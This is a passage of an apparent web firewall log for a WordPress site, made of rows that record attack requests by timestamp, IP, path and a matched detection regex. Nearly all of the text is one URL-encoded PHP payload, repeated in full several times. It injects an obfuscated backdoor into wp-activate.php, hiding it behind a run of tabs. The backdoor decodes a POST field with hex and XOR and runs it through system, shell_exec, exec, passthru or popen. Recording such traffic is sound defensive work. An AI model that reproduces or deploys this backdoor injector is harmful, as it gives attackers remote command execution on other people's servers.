3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ntA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:32","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5290\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nCJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:34","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ov:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:5290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nov=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:36","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255C